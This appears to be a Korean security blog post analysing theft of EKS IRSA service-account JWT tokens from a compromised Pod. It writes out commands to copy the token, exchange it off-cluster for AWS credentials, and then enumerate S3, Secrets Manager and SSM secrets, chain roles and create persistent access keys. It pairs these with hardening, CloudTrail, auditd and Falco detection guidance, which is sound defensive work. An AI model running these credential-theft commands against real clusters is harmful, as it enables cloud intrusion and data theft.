IRSA(IAM Roles for Service Accounts)는 Pod 내부에 JWT 토큰을 파일로 마운트한다. 공격자가 Pod에 셸 접근만 확보하면, 이 토큰을 읽어서 클러스터 외부의 완전히 다른 머신에서
sts:AssumeRoleWithWebIdentity를 호출해 AWS 크리덴셜을 발급받을 수 있다. 토큰은 기본 24시간 유효하며, 호스트 바인딩이 없다. 2026년 4월 현재, IRSA는 deprecated되지 않았고 EKS 1.33에서도 완전히 지원된다. 이 공격은 지금 이 순간에도 유효하다.
본격적인 분석에 앞서, 이 공격이 2026년 4월 기준으로도 유효한지부터 짚어보겠다.
IRSA는 deprecated되지 않았다. AWS는 2023년 11월 re:Invent에서 EKS Pod Identity를 출시하면서 “IRSA의 후속”이라고 포지셔닝했지만, 공식적으로 IRSA의 EOL(End of Life) 일정은 발표하지 않았다. 2026년 4월 현재 EKS 1.33에서도 IRSA는 완전히 지원되며, AWS 공식 문서에서도 여전히 유효한 옵션으로 안내하고 있다.
IRSA가 여전히 필수인 시나리오가 존재한다. Fargate 프로파일 환경(Pod Identity Agent DaemonSet 불가), EKS Anywhere, Self-managed K8s on EC2, ROSA(Red Hat OpenShift on AWS) 등에서는 Pod Identity를 사용할 수 없어 IRSA가 유일한 선택지다.
JWT 토큰의 파일시스템 마운트 방식은 변경되지 않았다. 토큰은 여전히 /var/run/secrets/eks.amazonaws.com/serviceaccount/token 경로에 Projected Volume으로 마운트되며, kubelet이 만료 전(약 80% 시점, ~19시간)에 자동 갱신한다.
결론: 이 글에서 다루는 공격 시나리오는 2026년 4월 현재 완전히 유효하다.
IRSA를 공격하려면 먼저 정상 동작을 정확히 이해해야 한다.
┌─────────────────────────────────────────────────────────────┐
│ EKS Cluster │
│ │
│ ┌──────────┐ ┌─────────────────┐ ┌────────────────┐ │
│ │ Pod │───▶│ Service Account │───▶│ Projected JWT │ │
│ │ (your app)│ │ (annotated) │ │ Token (file) │ │
│ └──────────┘ └─────────────────┘ └───────┬────────┘ │
│ │ │
└──────────────────────────────────────────────────┼───────────┘
│
① JWT 토큰으로 STS 호출 │
▼
┌──────────────────────────────────────────────────────────────┐
│ AWS IAM / STS │
│ │
│ ┌──────────────┐ ┌───────────────┐ ┌────────────────┐ │
│ │ OIDC Provider │──▶│ Trust Policy │──▶│ IAM Role │ │
│ │ (JWT 검증) │ │ (claims 확인) │ │ (권한 부여) │ │
│ └──────────────┘ └───────────────┘ └────────────────┘ │
│ │
│ ② 검증 성공 시 임시 크리덴셜 반환 │
│ (AccessKeyId + SecretAccessKey + SessionToken) │
└──────────────────────────────────────────────────────────────┘
Step 1: OIDC Provider 등록 — EKS 클러스터 생성 시 클러스터 고유의 OIDC Issuer URL이 생성된다. 이를 AWS IAM에 Identity Provider로 등록하면, IAM이 해당 클러스터가 발급한 JWT를 신뢰할 수 있게 된다.
Step 2: IAM Role Trust Policy 설정 — IAM Role의 Trust Policy에 OIDC Provider를 Principal로 지정하고, :sub 조건으로 특정 네임스페이스/서비스어카운트만 허용한다.
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID:sub":
"system:serviceaccount:NAMESPACE:SA_NAME",
"oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID:aud":
"sts.amazonaws.com"
}
}
}]
}
Step 3: Pod 생성 시 자동 주입 — eks.amazonaws.com/role-arn 어노테이션이 달린 ServiceAccount를 사용하는 Pod가 생성되면, EKS Pod Identity Webhook(Mutating Admission Controller)이 두 가지를 자동 주입한다.
# 환경변수
AWS_ROLE_ARN=arn:aws:iam::123456789012:role/my-app-role
AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
# 파일시스템 (Projected Volume)
/var/run/secrets/eks.amazonaws.com/serviceaccount/token ← JWT 파일
Step 4: AWS SDK의 자동 크리덴셜 체인 — Pod 내부의 AWS SDK가 AWS_ROLE_ARN과 AWS_WEB_IDENTITY_TOKEN_FILE을 감지하면, 자동으로 sts:AssumeRoleWithWebIdentity를 호출해 임시 크리덴셜을 획득한다.
공격을 이해하려면 JWT 토큰 내부를 봐야 한다.
{
"aud": ["sts.amazonaws.com"],
"exp": 1706612345,
"iat": 1706526345,
"iss": "https://oidc.eks.us-west-2.amazonaws.com/id/EXAMPLED539D4633E53DE1B71EXAMPLE",
"kubernetes.io": {
"namespace": "production",
"serviceaccount": {
"name": "my-app-sa",
"uid": "12345678-1234-1234-1234-123456789012"
}
},
"sub": "system:serviceaccount:production:my-app-sa"
}
여기서 공격자에게 중요한 정보는 iss(OIDC Issuer URL, 클러스터 식별), sub(서비스어카운트 식별), aud(STS용 audience), 그리고 exp(만료 시각)이다.
핵심 포인트: 이 JWT에는 소스 IP, Pod IP, 노드 정보 등 네트워크 바인딩 정보가 없다. 토큰을 가진 사람은 누구든, 어디서든 사용할 수 있다.
공격자가 IRSA가 설정된 Pod에 셸 접근을 확보한 상태. 진입 경로는 다양하다.
kubectl exec# Pod 내부에서 실행
# IRSA 환경변수 확인
env | grep AWS
# 기대 출력:
# AWS_ROLE_ARN=arn:aws:iam::123456789012:role/my-app-role
# AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Pod Identity 환경변수도 함께 확인 (둘 다 설정된 경우 존재)
# AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=...
# AWS_CONTAINER_CREDENTIALS_FULL_URI=...
# 레거시 인스턴스 프로파일 확인 (IMDS 접근 가능 여부)
# AWS_ACCESS_KEY_ID=... ← 이게 있으면 대박 (static credentials)
IRSA가 설정된 Pod라면 AWS_ROLE_ARN과 AWS_WEB_IDENTITY_TOKEN_FILE이 반드시 존재한다.
# 토큰 파일 읽기 — 이것이 공격의 핵심
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token > /tmp/stolen_token.txt
# 토큰 내용 확인 (디코딩)
# Base64로 인코딩된 JWT의 페이로드 부분
cat /tmp/stolen_token.txt | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# 만료 시간 확인
# "exp" 필드가 Unix timestamp로 되어 있음
# 기본 TTL: 24시간 (86,400초)
# kubelet 갱신 시점: 만료 전 약 80% (~19시간 후)
이것이 IRSA 토큰 탈취의 가장 위험한 부분이다. Pod Identity와 달리, IRSA 토큰은 클러스터 컨텍스트 없이 외부에서 직접 STS를 호출할 수 있다.
# 공격자의 로컬 머신 (클러스터와 무관한 환경)
# 탈취한 토큰 파일을 로컬에 저장
echo "eyJhbGciOiJSUzI1NiIs..." > stolen_token.txt
# AssumeRoleWithWebIdentity로 AWS 크리덴셜 획득
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::123456789012:role/my-app-role \
--role-session-name attacker-session \
--web-identity-token file://stolen_token.txt \
--duration-seconds 3600
# 응답:
# {
# "Credentials": {
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "SessionToken": "...",
# "Expiration": "2026-04-15T10:00:00Z"
# },
# "AssumedRoleUser": {
# "AssumedRoleId": "AROA...:attacker-session",
# "Arn": "arn:aws:sts::123456789012:assumed-role/my-app-role/attacker-session"
# }
# }
크리덴셜 확보 후 공격자는 해당 IAM Role의 권한 범위 내에서 자유롭게 움직인다.
# 획득한 크리덴셜 설정
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# 1. 권한 열거
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name my-app-role 2>/dev/null
# 2. S3 버킷 탐색
aws s3 ls
aws s3 ls s3://company-data-bucket/ --recursive
# 3. Secrets Manager / SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database/credentials
aws ssm describe-parameters
aws ssm get-parameter --name /app/config/api-key --with-decryption
# 4. 다른 EKS 클러스터 정보 수집
aws eks list-clusters
aws eks describe-cluster --name production-cluster
# 5. Lambda, DynamoDB 등 추가 리소스
aws lambda list-functions
aws dynamodb list-tables
# 6. 크로스어카운트 접근 시도 (Role Chaining)
aws sts assume-role \
--role-arn arn:aws:iam::ANOTHER_ACCOUNT:role/cross-account-role \
--role-session-name lateral-move
# 탈취한 크리덴셜의 유효 기간: 최대 12시간 (STS 세션)
# 하지만 JWT 토큰 자체는 최대 24시간 유효
# → 토큰이 살아있는 동안 반복적으로 AssumeRoleWithWebIdentity 호출 가능
# 만약 IAM Role에 iam:CreateAccessKey 권한이 있다면 (최악의 시나리오):
aws iam create-access-key --user-name some-service-user
# → 영구 크리덴셜 생성으로 지속적 접근 확보
단순히 Pod 접근뿐 아니라, IMDS를 통해 노드 크리덴셜을 탈취한 경우에도 IRSA 토큰을 악용할 수 있다.
워커 노드의 IAM Role로 인증된 상태에서는 해당 노드에서 실행 중인 모든 Pod의 ServiceAccount 토큰을 생성할 수 있다. 이는 Kubernetes의 system:nodes 그룹 권한으로 가능하며, IRSA가 설정된 SA의 토큰을 생성해 AWS 크리덴셜로 교환하는 것이 가능하다.
[SSRF 취약점]
│
▼
[IMDS 169.254.169.254] → 노드 IAM 크리덴셜 탈취
│
▼
[K8s API as system:node] → Pod SA 토큰 생성 가능
│
▼
[IRSA SA 토큰 생성] → AssumeRoleWithWebIdentity
│
▼
[AWS 크리덴셜 획득] → 클라우드 횡이동
이 체인은 IRSA뿐 아니라 Pod Identity에도 동일하게 적용된다.
| 항목 | IRSA | Pod Identity |
|---|---|---|
| 토큰 저장 위치 | 파일시스템 (Projected Volume) | 파일시스템 (Projected Volume) |
| 크리덴셜 교환 방식 | Pod → STS 직접 호출 (HTTPS) | Pod → Agent (HTTP) → STS |
| 클러스터 외부 사용 | 가능 (토큰만으로 STS 호출) | 직접 불가 (Agent 경유 필수) |
| 네트워크 도청 | 어려움 (STS는 HTTPS) | 쉬움 (Agent는 평문 HTTP) |
| MitM/스푸핑 | 어려움 | 가능 (link-local 스푸핑) |
| 토큰 기본 TTL | 24시간 (kubelet이 ~19h에 갱신) | 세션 기반 |
| 호스트 바인딩 | 없음 | 없음 |
| Session Tags (ABAC) | 미지원 | 지원 |
| Fargate 호환 | 지원 | 미지원 |
정리하면 이렇다. IRSA는 도청에는 강하지만 토큰 탈취 후 외부 사용이 쉽고, Pod Identity는 외부 사용은 어렵지만 도청/스푸핑에 취약하다. 공격 벡터가 다를 뿐, 둘 다 Pod 침투가 발생하면 위험하다는 본질은 같다.
# 컨테이너 하드닝
apiVersion: v1
kind: Pod
spec:
containers:
- name: app
image: my-app:latest
securityContext:
readOnlyRootFilesystem: true # 파일시스템 쓰기 차단
allowPrivilegeEscalation: false # 권한 상승 차단
runAsNonRoot: true # root 실행 차단
runAsUser: 1000
capabilities:
drop:
- ALL # 모든 Linux capabilities 제거
readOnlyRootFilesystem: true로 설정해도 JWT 토큰은 Projected Volume이므로 여전히 읽을 수 있다. 하지만 공격자가 도구를 다운로드하거나 스크립트를 작성하는 것을 어렵게 만든다.
IAM Trust Policy에 IP 조건 추가:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID:sub":
"system:serviceaccount:production:my-app-sa",
"oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID:aud":
"sts.amazonaws.com"
},
"IpAddress": {
"aws:SourceIp": [
"10.0.0.0/8",
"NAT_GATEWAY_EIP/32"
]
}
}
}]
}
이렇게 하면 VPC 내부 또는 NAT Gateway IP에서만 AssumeRoleWithWebIdentity가 가능하다. 공격자가 토큰을 탈취해 외부에서 호출하면 AccessDenied가 반환된다.
주의사항: aws:SourceIp 조건은 VPC 엔드포인트를 통한 호출에는 적용되지 않을 수 있다. aws:VpcSourceIp도 함께 검토해야 한다.
# ServiceAccount에 토큰 만료 시간 설정 (EKS 1.22+)
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-app-sa
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/my-app-role
eks.amazonaws.com/token-expiration: "3600" # 1시간으로 단축 (기본 86400초)
토큰 TTL을 줄이면 탈취 후 사용 가능한 시간 창(window)이 줄어든다. 다만 최소값이 있으므로(kubelet의 구현에 따라 다르지만 일반적으로 10분 이상) 너무 짧게 설정하면 정상 워크로드에도 영향이 갈 수 있다.
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::my-specific-bucket",
"arn:aws:s3:::my-specific-bucket/*"
]
}]
}
AmazonS3FullAccess 같은 AWS Managed Policy를 IRSA Role에 직접 붙이는 실수가 흔하다. 반드시 필요한 Action과 Resource만 명시해야 한다.
CloudTrail 감시 쿼리:
-- CloudWatch Logs Insights
-- VPC 외부에서의 AssumeRoleWithWebIdentity 호출 탐지
fields @timestamp, sourceIPAddress, userIdentity.arn, requestParameters.roleArn
| filter eventName = "AssumeRoleWithWebIdentity"
| filter sourceIPAddress not like /^10\./
and sourceIPAddress not like /^172\.(1[6-9]|2[0-9]|3[01])\./
and sourceIPAddress not like /^192\.168\./
| sort @timestamp desc
| limit 100
Linux Audit Rules (토큰 파일 접근 감시):
# auditd 룰 추가
auditctl -w /var/run/secrets/eks.amazonaws.com/serviceaccount/token -p r -k irsa_token_access
Falco 룰:
- rule: IRSA Token Read by Non-Application Process
desc: Detect non-application processes reading IRSA JWT token
condition: >
open_read and
container and
fd.name = "/var/run/secrets/eks.amazonaws.com/serviceaccount/token" and
not proc.name in (java, python, python3, node, dotnet, ruby, aws)
output: >
IRSA token read by unexpected process
(user=%user.name command=%proc.cmdline pod=%k8s.pod.name file=%fd.name)
priority: CRITICAL
tags: [container, credential_access, mitre_credential_access]
# Terraform: Launch Template에서 IMDSv2 강제 + hop limit 1
resource "aws_launch_template" "eks_nodes" {
name = "eks-hardened-nodes"
metadata_options {
http_tokens = "required" # IMDSv2 강제
http_put_response_hop_limit = 1 # 컨테이너에서 IMDS 접근 차단
http_endpoint = "enabled"
}
}
hop limit을 1로 설정하면 Docker/containerd 네트워크 브릿지를 통과하지 못해 Pod에서 IMDS에 접근할 수 없다. 다만, Pod Identity를 사용하는 경우 hop limit을 2로 올려야 Agent가 동작하므로 상충하는 요구사항이 생긴다.
External Secrets Operator, Crossplane, AWS Controllers for Kubernetes(ACK) 같은 operator들은 AWS 리소스를 관리하기 위해 광범위한 IAM 권한을 가진다. 이들의 Pod가 침투되면 클라우드 인프라 전체에 대한 제어권을 잃을 수 있다.
StringLike 와일드카드"Condition": {
"StringLike": {
"oidc.eks.REGION.amazonaws.com/id/CLUSTER_ID:sub":
"system:serviceaccount:*:*"
}
}
이렇게 설정하면 클러스터 내 모든 ServiceAccount가 해당 Role을 assume할 수 있다. 공격자가 아무 네임스페이스에서나 SA를 생성해 크리덴셜을 획득할 수 있다.
하나의 SA에 여러 Deployment을 연결하면, 가장 취약한 워크로드가 전체의 보안 수준을 결정한다. 워크로드별 SA 분리가 필수다.
짧은 답변: 부분적으로.
Pod Identity는 클러스터 외부에서 토큰을 직접 사용하는 공격 벡터를 차단한다. 크리덴셜 교환이 노드 로컬의 Pod Identity Agent를 경유해야 하므로, 토큰만으로 외부에서 STS를 호출하는 IRSA 방식의 공격은 성립하지 않는다.
하지만 앞서 다른 글에서 분석한 것처럼, Pod Identity Agent 자체가 평문 HTTP(169.254.170.23:80)로 통신하므로 패킷 스니핑과 API 스푸핑이라는 다른 공격 벡터가 열린다.
결국 “IRSA냐 Pod Identity냐”의 문제가 아니라, Pod 침투를 전제로 한 방어 심층(Defense in Depth) 을 얼마나 잘 구축했느냐의 문제다.
IRSA를 사용 중인 환경에서 아래 항목을 점검하자.
:sub 조건이 특정 namespace:sa로 제한되어 있는가? — StringLike: *:* 같은 와일드카드는 즉시 수정aws:SourceIp 조건이 설정되어 있는가? — VPC CIDR 또는 NAT Gateway IP로 제한eks.amazonaws.com/token-expiration 어노테이션 확인readOnlyRootFilesystem, runAsNonRoot, drop: ALLAssumeRoleWithWebIdentity 이벤트를 모니터링하고 있는가? — 특히 VPC 외부 IP에서의 호출IRSA는 EKS 생태계에서 가장 오래 검증된 Pod-level IAM 솔루션이며, 2026년 4월 현재에도 deprecated되지 않은 완전히 지원되는 기능이다. Fargate, EKS Anywhere 등 Pod Identity를 사용할 수 없는 환경에서는 여전히 유일한 선택지이기도 하다.
하지만 “Pod에 셸이 뚫리면 JWT 토큰은 반드시 탈취된다”는 전제를 받아들이고 방어해야 한다. 컨테이너는 보안 경계가 아니며, AWS 공식 문서에서도 이를 명시하고 있다.
핵심은 세 가지다.
결국 보안은 “뚫리지 않는 것”이 아니라 “뚫렸을 때 피해를 최소화하는 것”이다.
참고 자료